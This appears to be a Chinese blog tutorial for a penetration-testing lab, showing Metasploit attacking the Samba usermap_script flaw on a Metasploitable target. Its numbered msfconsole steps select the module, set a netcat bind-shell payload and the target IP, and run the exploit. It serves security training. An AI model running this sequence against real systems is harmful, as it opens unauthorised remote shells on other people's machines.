Samba简介
Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成,Samba是面向Linux和Unix环境的Windows互操作性套件。它适用于在可能包括Linux、Unix、Windows、macOS及其他操作系统的异构环境下工作的那些人。Samba使用服务器消息块(SMB)协议,Windows系统使用该协议相互联系。使用Samba,你可以让Linux系统将驱动器映射到Windows系统,可以让Windows系统将驱动器映射到Linux系统,不过后者的可能性大得多。Samba让你可以在Linux系统上模拟文件和打印服务。
实验环境
BT5 R1(攻击机):10.10.29.128
Metasploitable_ubuntu:10.10.29.254
前提条件:两台机子能互ping通
实验步骤
1,使用命令msfconsole进入终端控制台接口
2,使用search命令从Metasploit渗透代码中找出攻击Samba服务的模块
找到针对usermap_script安全漏洞的渗透攻击模块名称为multi/samba/usermap_script。
3,运行use multi/samba/usermap_scrip 命令选择此渗透模块
4,通过show payloads 查看该渗透攻击模块相兼容的攻击载荷,执行set payload cmd/unix/bind_netcat 选择bind_netcat,通过netcat攻击在渗透攻击成功后执行shell,并通过netcat绑定在一个监听端口
5,这里采用 cmd/unix/bind_netcat,使用netcat工具在渗透成功后执行Shell,并通过netcat绑定在一个监听端口。
6,设置完攻击载荷,查看需要配置的参数:
7,看到RHOST需要设置,其它选择默认设置,将RHOST设置为靶机IP10.10.29.254
8,输入命令 “exploit”开始执行
查看地址
如果觉得《Metaspliot 控制终端利用Samba漏洞渗透》对你有帮助,请点赞、收藏,并留下你的观点哦!